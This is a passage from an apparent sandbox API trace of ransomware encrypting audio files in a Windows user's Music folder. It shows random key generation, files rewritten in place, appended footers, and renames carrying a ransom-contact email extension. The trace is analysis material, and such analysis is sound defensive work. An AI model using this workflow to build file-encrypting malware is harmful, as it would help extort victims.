_Dest=0x442d00, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d" [0063.213] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xae6fbe8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.214] NtQueryInformationFile (in: FileHandle=0x944, IoStatusBlock=0xae6fbf4, FileInformation=0xae6fbcc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xae6fbf4, FileInformation=0xae6fbcc) returned 0x0 [0063.214] NtSetInformationFile (FileHandle=0x944, IoStatusBlock=0xae6fbf4, FileInformation=0xae6fbcc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0063.220] FlushFileBuffers (hFile=0x944) returned 1 [0066.214] CloseHandle (hObject=0x944) Thread: id = 463 os_tid = 0xe2c [0049.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yokuzj-wttq98-6ld.m4a")) returned 0x20 [0049.222] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a", dwFileAttributes=0x20) returned 1 [0060.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yokuzj-wttq98-6ld.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x948 [0060.511] GetFileSizeEx (in: hFile=0x948, lpFileSize=0xb1dfb4c | out: lpFileSize=0xb1dfb4c*=58579) returned 1 [0060.511] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0xe4cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.511] ReadFile (in: hFile=0x948, lpBuffer=0xb1dfad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb1dfacc, lpOverlapped=0x0 | out: lpBuffer=0xb1dfad0*, lpNumberOfBytesRead=0xb1dfacc*=0x4, lpOverlapped=0x0) returned 1 [0060.512] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0060.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435d78 [0060.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0060.512] NtQuerySystemTime (in: CurrentTime=0xb1dfaac | out: CurrentTime=0xb1dfaac*=132174898244892000) returned 0x0 [0060.512] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x4f707e93 [0060.512] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x1b0bc8b9 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x428293a0 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0xb2add6 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x5951965 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x1e91520d [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x6aefc892 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x3a58f0ca [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x842bf00 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x5cc2a593 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x4494e189 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x955212b [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x95010d9 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x6b114449 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x2399fb32 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x5537d8a3 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x1aafa1ed [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x42952333 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x3342865f [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x30039eb5 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x66690c95 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x201eeceb [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x7cbf79ac [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x55f34819 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x192be2be [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x6bfeac2d [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x3ec4fe1c [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x20bcd75e [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x4db3aab1 [0060.513] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x3b44022c [0060.514] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x197784bc [0060.514] RtlRandomEx (in: Seed=0xb1dfab8 | out: Seed=0xb1dfab8) returned 0x4b9d7099 [0060.526] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.526] ReadFile (in: hFile=0x948, lpBuffer=0x199280c8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb1dfa8c, lpOverlapped=0x0 | out: lpBuffer=0x199280c8*, lpNumberOfBytesRead=0xb1dfa8c*=0xc800, lpOverlapped=0x0) returned 1 [0060.527] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c798 [0060.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a948 [0060.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0060.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435cd8) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x199348d0 [0060.532] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0060.532] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0060.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435df0) returned 1 [0060.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a948) returned 1 [0060.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c798) returned 1 [0060.532] WriteFile (in: hFile=0x948, lpBuffer=0x199348d0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb1dfa8c, lpOverlapped=0x0 | out: lpBuffer=0x199348d0*, lpNumberOfBytesWritten=0xb1dfa8c*=0xc800, lpOverlapped=0x0) returned 1 [0062.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199348d0) returned 1 [0063.215] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199280c8) returned 1 [0063.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a66a0 [0063.215] SetFilePointerEx (in: hFile=0x948, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.215] WriteFile (in: hFile=0x948, lpBuffer=0x41be58*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xb1dfb0c, lpOverlapped=0x0 | out: lpBuffer=0x41be58*, lpNumberOfBytesWritten=0xb1dfb0c*=0x11b, lpOverlapped=0x0) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66e0) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435dc8) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66a0) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435cd8) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435d78) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435e18) returned 1 [0063.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435e40) returned 1 [0063.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d780 [0063.223] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a" [0063.223] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0063.223] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb1dfac4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.223] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d4380 [0063.224] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.224] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.224] NtQueryInformationFile (in: FileHandle=0x948, IoStatusBlock=0xb1dfad0, FileInformation=0xb1dfaa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb1dfad0, FileInformation=0xb1dfaa8) returned 0x0 [0063.224] NtSetInformationFile (FileHandle=0x948, IoStatusBlock=0xb1dfad0, FileInformation=0xb1dfaa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.225] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.225] FlushFileBuffers (hFile=0x948) returned 1 [0066.214] CloseHandle (hObject=0x948) Thread: id = 464 os_tid = 0xe30 [0049.223] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z kg qs_edx3oayj.wav")) returned 0x20 [0049.223] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav", dwFileAttributes=0x20) returned 1 [0060.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z kg qs_edx3oayj.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x94c [0060.533] GetFileSizeEx (in: hFile=0x94c, lpFileSize=0xb21fb20 | out: lpFileSize=0xb21fb20*=35541) returned 1 [0060.533] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x8ad1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.533] ReadFile (in: hFile=0x94c, lpBuffer=0xb21faa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb21faa0, lpOverlapped=0x0 | out: lpBuffer=0xb21faa4*, lpNumberOfBytesRead=0xb21faa0*=0x4, lpOverlapped=0x0) returned 1 [0060.534] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0060.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435e68 [0060.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435e90 [0060.534] NtQuerySystemTime (in: CurrentTime=0xb21fa80 | out: CurrentTime=0xb21fa80*=132174898245204000) returned 0x0 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x507a70a2 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x1a043eed [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x2f830db0 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x5b8afcb3 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x19a02216 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x3598aa88 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x6f009746 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x95f6a60 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x1d2f81f6 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x30b2fc27 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x21dd5734 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x3f7a68bc [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x6f3c0fd2 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x21c3d542 [0060.534] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x4478b81d [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x453c2510 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x7c221cbd [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x7e6d2833 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x59588262 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x1c15b31c [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x296eca02 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x17a55f95 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x90829a9 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x7a505b60 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x5f9e5ef6 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x1635cb9a [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x31ba0e16 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x692a030e [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x35b6fa18 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0xa86f7c9 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x488d8813 [0060.535] RtlRandomEx (in: Seed=0xb21fa8c | out: Seed=0xb21fa8c) returned 0x251dc466 [0060.548] ReadFile (in: hFile=0x94c, lpBuffer=0x199410d8, nNumberOfBytesToRead=0x8ad5, lpNumberOfBytesRead=0xb21fa7c, lpOverlapped=0x0 | out: lpBuffer=0x199410d8*, lpNumberOfBytesRead=0xb21fa7c*=0x8ad5, lpOverlapped=0x0) returned 1 [0060.549] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.549] WriteFile (in: hFile=0x94c, lpBuffer=0x1994d8e0*, nNumberOfBytesToWrite=0x8ad5, lpNumberOfBytesWritten=0xb21fa78, lpOverlapped=0x0 | out: lpBuffer=0x1994d8e0*, lpNumberOfBytesWritten=0xb21fa78*=0x8ad5, lpOverlapped=0x0) returned 1 [0062.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2f8 [0062.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf258 [0062.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf258) returned 1 [0062.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1994d8e0) returned 1 [0063.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199410d8) returned 1 [0063.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a948) returned 1 [0063.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c798) returned 1 [0063.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x4a6720 [0063.221] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.221] WriteFile (in: hFile=0x94c, lpBuffer=0x449d80*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xb21fae0, lpOverlapped=0x0 | out: lpBuffer=0x449d80*, lpNumberOfBytesWritten=0xb21fae0*=0x119, lpOverlapped=0x0) returned 1 [0063.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0063.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6760) returned 1 [0063.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435d28) returned 1 [0063.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6720) returned 1 [0063.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2f8) returned 1 [0063.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435e68) returned 1 [0063.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435eb8) returned 1 [0063.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435ee0) returned 1 [0063.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d780 [0063.228] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav" [0063.228] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d" [0063.228] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb21fa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d460 [0063.229] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.229] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.229] NtQueryInformationFile (in: FileHandle=0x94c, IoStatusBlock=0xb21faa4, FileInformation=0xb21fa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb21faa4, FileInformation=0xb21fa7c) returned 0x0 [0063.229] NtSetInformationFile (FileHandle=0x94c, IoStatusBlock=0xb21faa4, FileInformation=0xb21fa7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.230] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.230] FlushFileBuffers (hFile=0x94c) returned 1 [0066.215] CloseHandle (hObject=0x94c) Thread: id = 465 os_tid = 0xe34 [0049.223] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zr-dzjxub0tfzfadvb.mp3")) returned 0x20 [0049.223] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3", dwFileAttributes=0x20) returned 1 [0060.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zr-dzjxub0tfzfadvb.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x950 [0060.550] GetFileSizeEx (in: hFile=0x950, lpFileSize=0x4cdf960 | out: lpFileSize=0x4cdf960*=52516) returned 1 [0060.550] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0xcd20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.550] ReadFile (in: hFile=0x950, lpBuffer=0x4cdf8e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4cdf8e0, lpOverlapped=0x0 | out: lpBuffer=0x4cdf8e4*, lpNumberOfBytesRead=0x4cdf8e0*=0x4, lpOverlapped=0x0) returned 1 [0060.551] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.551] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0060.551] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435e90 [0060.551] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f08 [0060.551] NtQuerySystemTime (in: CurrentTime=0x4cdf8c0 | out: CurrentTime=0x4cdf8c0*=132174898245360000) returned 0x0 [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x55620e1c [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0xd490f8c [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x28c9095d [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x7151a00a [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x736fc6b7 [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x964a283 [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x74dbb150 [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x3a89719a [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x31a75d2c [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x34cce68a [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x556ff5fc [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x10b427de [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x1ba4736f [0060.551] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x57640cc4 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x4aad6a79 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0xeb0231 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x65528d0e [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x27bbba4a [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x5c226221 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x7e7b4a28 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x516cad60 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: 